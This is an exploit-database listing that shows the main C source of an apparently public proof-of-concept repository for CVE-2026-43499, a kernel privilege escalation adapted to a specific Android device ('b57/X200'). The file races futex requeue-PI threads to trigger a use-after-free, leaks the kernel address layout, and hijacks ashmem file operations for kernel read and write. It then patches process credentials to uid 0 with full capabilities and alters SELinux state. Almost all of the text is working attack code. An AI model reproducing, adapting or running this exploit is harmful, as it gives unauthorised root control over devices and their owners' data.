Exploit database

GH-300d2208a2cf06e3d82074368488128b

xiaohj233/ghostlock-x200-root

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files16
xiaohj233/ghostlock-x200-rootRevision 119472587f78

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/src/main.c

C · 22,026 bytes
// SPDX-License-Identifier: Apache-2.0
// Copyright 2026 GhostLock-X200 contributors
// Modified from: NebuSec/CyberMeowfia (IonStack, CVE-2026-43499)
//   https://github.com/NebuSec/CyberMeowfia  commit 2c83bfb0c9230dc063e1bbfc3e06228d45dd938f
//   (Apache-2.0) - b57/X200 adaptation and local modifications applied.
#include "common.h"

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;
atomic_int waiter_ready;
atomic_int waiter_waiting;
atomic_int owner_started;
atomic_int owner_chain_done;
atomic_int route_done;
atomic_int waiter_tid;
atomic_int punch_consume_go;
atomic_int punch_consume_stop;
atomic_int consumer_calls;
atomic_int consumer_success;
atomic_int main_route_delay_usec;
atomic_int pipe_prepare_request;
atomic_int pipe_prepare_done;
int memfd_leak;

uint64_t g_hijack_file_addr = 0;
/* ashmem fd opened before hijack; reused by the slide loop for hijack
 * verification (configfs_read_once) and for post-hijack configfs ops.
 * After hijack we must NOT open a new fd: fake_fops.owner=1 makes
 * vfs_open's try_module_get() fault (see below). */
int g_hijack_fd = -1;
/* Set when hijack was verified inside the child (misc_fops hijacked and restored). */
int g_hijack_verified = 0;
uint64_t perf_leak_candidate(int target_fd, int rounds);

void *waiter_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();

  int tid = (int)syscall(SYS_gettid);
  atomic_store(&waiter_tid, tid);

  if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) {
    pr_error("waiter lock chain errno=%d\n", errno);
  }

  atomic_store(&waiter_ready, 1);
  while (!atomic_load(&owner_started)) {
    usleep(1000);
  }

  struct timespec timeout;
  SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout));
  timeout.tv_sec += ROUTE_WAIT_SECONDS;

  atomic_store(&waiter_waiting, 1);
  futex_op(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0);

  do_pselect_fake_lock_route();
  atomic_store(&route_done, 1);

  futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
  while (!atomic_load(&owner_chain_done)) {
    usleep(1000);
  }
  return NULL;
}

void *owner_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();

  long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  if (lock_target != 0) {
    pr_error("owner lock target errno=%d\n", errno);
  }

  while (!atomic_load(&waiter_ready)) {
    usleep(1000);
  }

  atomic_store(&owner_started, 1);
  futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  atomic_store(&owner_chain_done, 1);

  for (;;) {
    sleep(1);
  }
}

void *consumer_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();
  pin_to_core(CONSUMER_CORE);

  int seen = 0;

  while (!atomic_load(&punch_consume_stop)) {
    int seq = atomic_load(&punch_consume_go);
    if (seq == 0 || seq == seen) {
      __asm__ volatile("yield" ::: "memory");
      continue;
    }

    seen = seq;
    int tid = atomic_load(&waiter_tid);
    int calls_this_seq = 0;
    while (!atomic_load(&punch_consume_stop) &&
           atomic_load(&punch_consume_go) == seq) {
      if (atomic_load(&punch_consume_stop) ||
          atomic_load(&punch_consume_go) != seq) {
        continue;
      }
      int delay_usec = atomic_load(&main_route_delay_usec);
      if (delay_usec > 0) {
        usleep((useconds_t)delay_usec);
      }
      for (int burst = 0; burst < PSELECT_CONSUMER_BURST_CALLS; burst++) {
        if (atomic_load(&punch_consume_stop) ||
            atomic_load(&punch_consume_go) != seq) {
          break;
        }
        atomic_fetch_add(&consumer_calls, 1);
        int consumer_nice = PSELECT_CONSUMER_NICE;
        errno = 0;
        long sched_ret = sched_setattr_tid(tid, consumer_nice);
        if (sched_ret == 0) {
          atomic_fetch_add(&consumer_success, 1);
        }
        calls_this_seq++;
        if (calls_this_seq >= CONSUMER_MAX_CALLS) {
          atomic_store(&punch_consume_go, 0);
          break;
        }
      }
    }
  }

  return NULL;
}

void reset_main_route_state(void) {
  f_wait = 0;
  f_pi_target = 0;
  f_pi_chain = 0;
  atomic_store(&waiter_ready, 0);
  atomic_store(&waiter_waiting, 0);
  atomic_store(&owner_started, 0);
  atomic_store(&owner_chain_done, 0);
  atomic_store(&route_done, 0);
  atomic_store(&waiter_tid, 0);
  atomic_store(&punch_consume_go, 0);
  atomic_store(&punch_consume_stop, 0);
  atomic_store(&consumer_calls, 0);
  atomic_store(&consumer_success, 0);
  atomic_store(&main_route_delay_usec, PSELECT_ENTER_DELAY_USEC);
  atomic_store(&pipe_prepare_request, 0);
  atomic_store(&pipe_prepare_done, 0);
  cfi_last_step = 0;
  cfi_last_errno = 0;
}

void run_main_route_threads(void) {
  reset_main_route_state();

  pthread_t waiter;
  pthread_t owner;
  pthread_t consumer;
  SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL));
  SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL));
  SYSCHK(pthread_create(&consumer, NULL, consumer_thread, NULL));

  while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) {
    usleep(1000);
  }

  usleep(100000);
  long rq = -1;
  int rq_errno = 0;
  for (int rq_try = 0; rq_try < 200; rq_try++) {
    errno = 0;
    rq = futex_op(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0);
    rq_errno = errno;
    if (rq >= 0) {
      break;
    }
    if (rq_errno == EDEADLK) {
      pr_info("fops requeue EDEADLK: UAF armed, continuing\n");
      break;
    }
    if (rq_errno != EAGAIN) {
      pr_warning("fops requeue unexpected ret=%ld errno=%d\n", rq, rq_errno);
      break;
    }
    usleep(500);
  }
  pr_info("fops requeue ret=%ld errno=%d\n", rq, rq_errno);

  while (!atomic_load(&route_done)) {
    if (atomic_exchange(&pipe_prepare_request, 0)) {
      pipebuf_page_base = prepare_pipe_buffer_page();
      atomic_store(&pipe_prepare_done, 1);
    }
    usleep(10000);
  }
}

/* Crash-localization probe: each step opens/writes/closes independently so
 * a kernel panic (which loses block-buffered stdout) still leaves the last
 * reached step on disk. */
static void fr_log(const char *msg) {
  int fd = open("/data/local/tmp/fr_probe.txt",
                O_WRONLY | O_CREAT | O_APPEND, 0644);
  if (fd >= 0) {
    write(fd, msg, strlen(msg));
    write(fd, "\n", 1);
    /* : panic 重启会丢 page cache, fr_probe 空无法定位
     * 崩溃点. fsync 确保每条进度落盘. */
    fsync(fd);
    close(fd);
  }
}

int run_exploit(int argc, char **argv) {
  (void)argc;
  (void)argv;

  /* Unbuffered probe file for fast-root / fops-hijack crash localization.
   * stdout is block-buffered when redirected to a file, so a kernel panic
   * loses everything; each step opens/writes/closes independently. */
  fr_log("=== start");

  disable_rseq_for_thread();
  set_unbuffer();
  set_limit();
  log_startup_context();

  pin_to_core(CORE);

  /* Single-fd hijack mode: open the target device BEFORE the slide write so
   * the fd's struct file exists; leak its kernel address via perf, then the
   * slide write patches only THIS file's f_op (file+0xc0) instead of the
   * global misc_fops. Other processes never see the fake fops -> no panic. */
  if (getenv("GL_FOPS_HIJACK") && !getenv("GL_NO_SFD")) {
    g_hijack_fd = open_ashmem_device();
    if (g_hijack_fd >= 0) {
      uint64_t cand = perf_leak_candidate(g_hijack_fd, 600000);
      if (cand) {
        g_hijack_file_addr = cand;
        char t[32];
        snprintf(t, sizeof(t), "0x%016llx",
                 (unsigned long long)(cand + FOPS_PTR_OFF));
        setenv("GL_TARGET", t, 1);
        /* 单 fd 劫持形状: GL_SFD_W2 (单右子免 rebalance)
         * 写 [file+0xc0]=fake_fops. 旧 GL_FOPS_HIJACK 默认单左子形状会
         * rebalance 读 file 内容 -> panic (13:30 GL_SFD_NOOP 实证). */
        setenv("GL_SFD_W2", "1", 1);
        pr_info("single-fd hijack: cand=%016llx target=%s\n",
                (unsigned long long)cand, t);
      } else {
        pr_warning("single-fd hijack: perf leak failed; falling back to misc_fops\n");
      }
    } else {
      pr_warning("open ashmem before slide failed errno=%d\n", errno);
    }
  }
  if (getenv("GL_FOPS_HIJACK") && getenv("GL_NO_SFD")) {
    /* 强制 misc_fops 全局劫持 (写 [misc_fops P0 alias], 该
     * 写本身安全 - 13:30 GL_HIJACK_TEST 实证). 单 fd 劫持 (写 [file+0xc0])
     * 在 b57 上必崩 (rt_mutex_adjust_pi enqueue 读 [file+0xb8] RED).
     * 窗口 = fast-root (读 cred -> 写 cred -> 恢复) 几 ms. */
    g_hijack_fd = open_ashmem_device();
    if (g_hijack_fd < 0) {
      pr_warning("GL_NO_SFD open ashmem failed errno=%d\n", errno);
    }
  }

  if (!slide_leak_kernel_base()) {
    pr_error("slide kaslr leak failed\n");
    return 1;
  }

  if (getenv("GL_SLIDE_ONLY")) {
    pr_success("slide-only mode: kaslr base=%016zx slide=%016zx; stopping before fops stage\n",
               kaslr_base, kaslr_slide);
    return 0;
  }

  /* Delay ashmem probing until after slide: reading boot_id here would
   * generate the UUID and break the slide rb-tree walk (enqueue would
   * dereference non-zero UUID bytes as a tree pointer). */
  init_ashmem_path();

  if (getenv("GL_FOPS_HIJACK")) {
    fr_log("stage: fops-hijack begin");
    /* After the slide write primitive (with GL_KASLR injected) completes,
     * rebuild the fake_fops table using real KASLR addresses for the
     * read_iter/write_iter/ioctl function pointers. During prepare the
     * KASLR slide is 0, so the table holds static addresses and must be
     * rewritten. */
    rebuild_fake_fops_table();
    fr_log("stage: fops table rebuilt");
    if (getenv("GL_CFG_TEST")) {
      /* Isolated check that the configfs read primitive works on b57: after
       * hijack, configfs_read_once reads boot_id (P0 lazy, known address
       * 0x2367ee0) and prints rd + content, then restores misc_fops and
       * exits. rd==16 with a UUID means the read works and a fast-root miss
       * was a task-target problem; rd==0 means the blob/name write is broken. */
      /* Root cause: after hijack we must never open a new ashmem fd.
       * fake_fops.owner=1 (needed so the RED write avoids rebalance) makes
       * vfs_open's try_module_get() read 0x1+off -> page fault panic
       * (observed try_module_get+0x18, addr=0x3201/0x7fc2b6e743).
       * Reuse g_hijack_fd opened before hijack (its file->f_op points at the
       * misc_fops table; the hijacked table routes pread/ioctl). */
      fr_log("stage: cfg-test begin");
      /* Hijack already verified and restored inside the child (window closed);
       * report success directly. Repeating open/read now would only return
       * rd=0 since misc_fops is restored. */
      if (g_hijack_verified) {
        pr_success("cfg-test hijack verified in child (window closed)\n");
        fr_log("stage: cfg-test child-verified");
        return 0;
      }
      /* : 劫持后必须 open 新 fd (owner=0 -> try_module_get
       * NULL 安全) -> f_op=fake_fops -> configfs 原语生效. 复用劫持前
       * g_hijack_fd (f_op=真实 ashmem_fops) 是 owner=1 时代的错误. */
      int cfd = open_ashmem_device();
      if (cfd >= 0) {
        unsigned char buf[32];
        memset(buf, 0, sizeof(buf));
        ssize_t rd = configfs_read_once(cfd, (P0_PAGE_OFFSET + SLIDE_SYSCTL_BOOTID_OFF), buf, 16);
        pr_info("cfg-test boot_id rd=%zd data=%02x%02x%02x%02x%02x%02x%02x%02x\n",
                rd, buf[0], buf[1], buf[2], buf[3], buf[4], buf[5], buf[6], buf[7]);
        fr_log("stage: cfg-test read done");
        uint64_t orig = text_addr(ASHMEM_FOPS);
        /* 单 fd 劫持恢复 [file+0xc0], misc_fops 劫持恢复 [misc_fops 槽]. */
        uintptr_t slot = g_hijack_file_addr
                             ? (g_hijack_file_addr + FOPS_PTR_OFF)
                             : data_addr(ASHMEM_MISC_FOPS);
        configfs_write_once(cfd, slot, &orig, sizeof(orig));
        fr_log("stage: cfg-test restore done");
        close(cfd);
        return 0;
      }
      fr_log("stage: cfg-test open failed");
      return 1;
    }
    /* slide 写原语已在 slide_leak_kernel_base 中完成:
     * - 单 fd 模式 (g_hijack_file_addr): 写 [file+0xc0]=fake_fops, 只影响
     *   本进程的 fd, 其他进程的 ashmem 不受影响 -> 不 panic.
     * - 否则 (fallback): 写 [misc_fops]=fake_fops (全局劫持, b57 上会
     *   因其他进程使用 ashmem 而 panic, 仅作诊断). */
    uint64_t fops_slot = g_hijack_file_addr
                             ? (g_hijack_file_addr + FOPS_PTR_OFF)
                             : data_addr(ASHMEM_MISC_FOPS);
    pr_info("fops-hijack mode: slot=%016zx fake_fops=%016zx single_fd=%d\n",
            (size_t)fops_slot, (size_t)fake_fops, g_hijack_file_addr != 0);
    /* : 劫持后 open 新 fd (owner=0 安全) -> f_op=fake_fops. */
    int fd = open_ashmem_device();
    if (fd >= 0) {
      if (getenv("GL_SFD_NOOP")) {
        /* Diagnostic: the slide write already patched [file+0xc0] with the
         * value from GL_W0 (real ashmem_fops in the no-op case). Do nothing
         * else. If the device panics here, the slide rb_erase/enqueue walk
         * itself corrupts the file object (single-fd hijack impossible);
         * if it survives, the crash comes from the configfs operations. */
        pr_info("sfd-noop: file=%016llx patched; not touching fd\n",
                (unsigned long long)g_hijack_file_addr);
        sleep(8);
        pr_info("sfd-noop: survived\n");
        close(fd);
        return 0;
      }
      if (getenv("GL_HIJACK_TEST")) {
        /* Diagnostic: hijack only, do nothing for 15s, then restore.
         * If the device panics during the sleep, another process tripped
         * over the hijacked ashmem fops; if it survives, our own configfs
         * operations are what crash. */
        pr_info("hijack-test: misc_fops hijacked, sleeping 15s\n");
        sleep(15);
        uint64_t orig = text_addr(ASHMEM_FOPS);
        ssize_t rw = configfs_write_once(
            fd, fops_slot, &orig, sizeof(orig));
        pr_info("hijack-test: restored misc_fops ret=%zd\n", rw);
        close(fd);
        pr_success("hijack-test done\n");
        return 0;
      }
      const char *tsk = getenv("GL_TASK");
      const char *cred_env = getenv("GL_CRED");
      if (cred_env && *cred_env) {
        /* CAPSROOT (configfs): w2host 已泄漏的 cred 地址直传 (GL_CRED),
         * 不再走 GL_TASK_W2 写链 (避免: 写活 cred 的地址值 + 副作用写
         * capsym 槽 + 候选可能已释放 -> 概率性写崩内核).
         * 流程: 劫持(单 fd) -> 写前验证 cred 是活 shell cred (uid==2000,
         * 无效则 miss 不写) -> configfs 写 cap_* 全满(干净值 ~0) ->
         * 读回验证 -> 写 GL_PROOF 文件 -> 恢复 fops. */
        fr_log("stage: capsroot-cred begin");
        uint64_t cred = strtoull(cred_env, NULL, 0);
        if (is_direct_ptr(cred)) {
          uint64_t uidgid = 0;
          fr_log("stage: pre-verify uid");
          ssize_t vr = configfs_read_once(fd, cred + 0x8, &uidgid, 8);
          pr_info("capsroot-cred pre-verify cred=%016llx uidgid=%016llx rd=%zd\n",
                  (unsigned long long)cred, (unsigned long long)uidgid, vr);
          if (vr == 8 && (uidgid & 0xffffffffULL) == 2000ULL) {
            uint64_t full = ~0ULL;
            /* cap_inheritable(0x30) / cap_permitted(0x38) /
             * cap_effective(0x40) / cap_bset(0x48) / cap_ambient(0x50) */
            for (int i = 0; i < 5; i++) {
              fr_log("stage: write caps");
              configfs_write_once(fd, cred + 0x30 + (size_t)i * 8, &full, 8);
            }
            uint64_t cap_after = 0;
            fr_log("stage: readback caps");
            ssize_t cr = configfs_read_once(fd, cred + 0x38, &cap_after, 8);
            pr_info("capsroot-cred cap_after=%016llx ret=%zd\n",
                    (unsigned long long)cap_after, cr);
            const char *pf = getenv("GL_PROOF");
            if (pf && *pf) {
              int rfd = open(pf, O_WRONLY | O_CREAT | O_TRUNC, 0644);
              if (rfd >= 0) {
                char rb[192];
                int rn = snprintf(rb, sizeof(rb),
                                  "CAPSROOT_OK cred=%llx uid=%u cap_after=%llx ret=%zd\n",
                                  (unsigned long long)cred, (unsigned)getuid(),
                                  (unsigned long long)cap_after, cr);
                write(rfd, rb, rn);
                close(rfd);
              }
            }
            fr_log("stage: restore fops");
            uint64_t orig = text_addr(ASHMEM_FOPS);
            ssize_t rw = configfs_write_once(fd, fops_slot, &orig, sizeof(orig));
            fr_log("stage: restore done");
            pr_info("capsroot-cred restore ret=%zd\n", rw);
            close(fd);
            pr_success("capsroot-cred done cred=%016llx\n",
                       (unsigned long long)cred);
            return 0;
          }
          pr_warning("capsroot-cred pre-verify fail rd=%zd uidgid=%016llx (miss, no write)\n",
                     vr, (unsigned long long)uidgid);
        } else {
          pr_warning("capsroot-cred bad cred ptr: %s\n", cred_env);
        }
        fr_log("stage: cred fail restore+exit");
        uint64_t orig2 = text_addr(ASHMEM_FOPS);
        configfs_write_once(fd, fops_slot, &orig2, sizeof(orig2));
        fr_log("stage: cred fail restore done");
        close(fd);
        return 1;
      }
      if (tsk && *tsk) {
        fr_log("stage: fast-root begin");
        /* Fast root: use configfs read/write primitives to patch the
         * target task's cred fields. Window is a few ms (hijack -> patch
         * -> restore misc_fops), minimizing the chance that another
         * process trips over the hijacked ashmem fops. */
        uint64_t task = strtoull(tsk, NULL, 0);
        uint64_t cred = 0;
        fr_log("stage: configfs read cred");
        ssize_t rd = configfs_read_once(fd, task + TASK_CRED_OFF, &cred, 8);
        fr_log("stage: read done");
        pr_info("fast-root read task=%016llx cred=%016llx rd=%zd\n",
                (unsigned long long)task, (unsigned long long)cred, rd);
        if (rd == 8 && is_direct_ptr(cred)) {
          uint64_t zero = 0;
          fr_log("stage: write uid/gid");
          configfs_write_once(fd, cred + 0x08, &zero, 8);   /* uid gid */
          fr_log("stage: write euid/egid");
          configfs_write_once(fd, cred + 0x18, &zero, 8);   /* euid egid */
          fr_log("stage: write fsuid/fsgid");
          configfs_write_once(fd, cred + 0x20, &zero, 8);   /* fsuid fsgid */
          fr_log("stage: write securebits");
          configfs_write_once(fd, cred + 0x28, &zero, 8);   /* securebits */
          uint64_t full = ~0ULL;
          for (int i = 0; i < 5; i++) {
            fr_log("stage: write caps");
            configfs_write_once(fd, cred + 0x30 + (size_t)i * 8, &full, 8);
          }
          pr_success("fast-root cred patched cred=%016llx uid=%u\n",
                     (unsigned long long)cred, (unsigned)getuid());
          fr_log("stage: restore fops");
          uint64_t orig = text_addr(ASHMEM_FOPS);
          ssize_t rw = configfs_write_once(
              fd, fops_slot, &orig, sizeof(orig));
          fr_log("stage: restore done");
          pr_info("fast-root restore fops_slot ret=%zd orig=%016llx\n",
                  rw, (unsigned long long)orig);
          close(fd);
          fr_log("stage: fast-root done");
          pr_success("fast-root done\n");
          return 0;
        }
        pr_warning("fast-root read failed rd=%zd cred=%016llx; falling back\n",
                   rd, (unsigned long long)cred);
        /* fast-root read 失败立即恢复 misc_fops 退出, 不再走
         * try_cfi_stage (慢, 会拉长全局劫持窗口 -> 其他进程碰 ashmem ->
         * panic). 窗口最小化, 失败留给下一轮重试. */
        fr_log("stage: read fail, restore+exit");
        uint64_t orig2 = text_addr(ASHMEM_FOPS);
        configfs_write_once(fd, fops_slot, &orig2, sizeof(orig2));
        fr_log("stage: fail restore done");
        close(fd);
        return 1;
      }
      if (try_cfi_stage()) {
        pr_success("cfi stage ok fd=%d - installing root\n", fd);
        if (install_child_root(fd)) {
          pr_success("root installed uid=%u->%u\n",
                     (unsigned)getuid(), (unsigned)geteuid());
        }
      }
      pr_info("cfi stage failed step=%d errno=%d write_ret=%zd read_ret=%zd\n",
              cfi_last_step, cfi_last_errno, (ssize_t)cfi_write_ret,
              (ssize_t)cfi_read_ret);
      close(fd);
    } else {
      pr_error("fops-hijack ashmem open failed errno=%d\n", errno);
    }
    pr_success("fops-hijack summary done=%d root=%d kaslr=%d base=%016zx\n",
               atomic_load(&cfi_stage_done), root_child_done,
               kaslr_done, kaslr_base);
    return 0;
  }

  pin_to_core(CORE);
  page_base = prepare_good_kernel_page(PAGE_PAYLOAD_FOPS);

  run_main_route_threads();

  pr_success("pipe-physrw-summary pid=%d done=%d root=%d kaslr=%d base=%016zx slide=%016zx\n",
             getpid(), atomic_load(&cfi_stage_done), root_child_done,
             kaslr_done, kaslr_base, kaslr_slide);
  pr_success("pipe physrw pid=%d done=%d root=%d kaslr=%d read_ok=%d "
             "write_ok=%d rw64=%d/%d uid=%u->%u sid=%u/%u->%u/%u "
             "selinux=%u->%u setgid=%d setuid=%d setenforce=%d/%d\n",
             getpid(), atomic_load(&cfi_stage_done), root_child_done, kaslr_done,
             physrw_read_ok, physrw_write_ok, physrw_read64_ok, physrw_write64_ok,
             root_uid_before, root_uid_after, cred_sid_before, real_cred_sid_before,
             cred_sid_after, real_cred_sid_after, selinux_before, selinux_after,
             setgid_ret, setuid_ret, setenforce_ret, setenforce_errno);
  if (pipe_prepare_child > 0) {
    SYSCHK(kill(pipe_prepare_child, SIGKILL));
    SYSCHK(waitpid(pipe_prepare_child, NULL, 0));
  }
  sleep(5);
  return 0;
}